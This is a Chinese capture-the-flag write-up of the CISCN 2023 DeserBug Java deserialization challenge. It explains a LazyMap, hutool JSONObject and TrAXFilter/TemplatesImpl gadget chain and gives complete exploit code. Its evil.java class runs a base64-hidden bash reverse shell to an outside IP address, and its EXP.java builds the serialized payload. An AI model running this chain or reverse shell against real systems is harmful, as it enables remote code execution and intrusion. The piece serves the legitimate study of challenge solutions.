【Web】记录CISCN2023国赛初赛DeserBug题目复现
目录
前言
分析
step0
step1
step2
EXP
总结
前言
Hessian的链子审得有点疲劳,不如做做题吧,挑了国赛入手,整体做下来感觉十分丝滑&水到渠成,自然&通透。
仅仅是记录一下菜鸡做题的感受,不会往深入了讲
当时好像题目是不出网的,但我们就按出网的情况来做直接反弹shell,删繁就简。
分析
step0
题目给到信息
将题目给的三个jar包导入项目工程(本地不换成jdk8u202也可)
题目的环境是Commons Collections 3.2.2,该版本在一些危险的Transformer实现类的readObject前加上了FunctorUtils#checkUnsafeSerialization来检测反序列化是否安全。
然后JSONObject是hutool这个jar包里的
step1
先从提示入手,提示我们最后要调com.app.Myexpect#getAnyexcept
看到newInstance不难联想到CC3的TrAXFilter,可以借此实现TemplatesImpl动态加载恶意字节码
,完成攻击。
至于this.targetclass等参数的值如何控制,我们可以在序列化时用setter来设置
【Web】Java反序列化之从CC3看TemplatesImpl的利用-CSDN博客
step2
话接上文,如何调com.app.Myexpect#getAnyexcept?提示告诉我们要先调cn.hutool.json.JSONObject.put
JSONObject何者也?
是乃Map接口的实现类
调cn.hutool.json.JSONObject.put,简化之,即调Map.put。
Map.put何来?下文可参:
【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入
然再度赘述:
不难联想到LazyMap.get()的经典逻辑:
根据给定的键 key 从映射中获取对应的值。如果映射中已经包含了该键,则直接返回对应的值;如果映射中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对添加到映射中,然后返回该值。
只要令传入的map为JSONObject即可触发JSONObject#put
而value的值也是我们通过ConstantTransformer可控的,想来这个存入的map的value如果是个对象,必然会获取对象的相关属性信息,相关属性信息何来?大抵是要调getter来拿的(这是从设计角度的简单推理)
所以我们让value为恶意Myexpect对象在逻辑上是合理的
而事实也证明了我们的猜想,详见下方EXP
EXP
拿下面的网站生成payload
Runtime.exec Payload Generater | AresX's Blog
pom依赖
org.javassist javassist 3.29.2-GA
evil.java
package com.CISCN; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"); } catch (IOException e) { throw new RuntimeException(e); } } }
EXP.java
package com.CISCN; import cn.hutool.json.JSONObject; import com.app.Myexpect; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; public class EXP { public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, newValue); } public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get(evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "xxx"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class[] { Templates.class }); myexpect.setTypearg(new Object[] { obj }); JSONObject entries = new JSONObject(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer(myexpect)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); setFieldValue(bad,"val",tiedMapEntry); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(bad); oos.close(); byte[] byteArray = baos.toByteArray(); String encodedString = Base64.getEncoder().encodeToString(byteArray); System.out.println(encodedString); } }
反弹shell拿到flag
总结
这题主要是要有两个思维敏感度,刚好就是提示的一头一尾
cn.hutool.json.JSONObject.put:CC5/CC6调map.put的常规手法
com.app.Myexpect#getAnyexcept:newInstance打TrAXFilter间接动态加载类的思维
还没有评论,来说两句吧...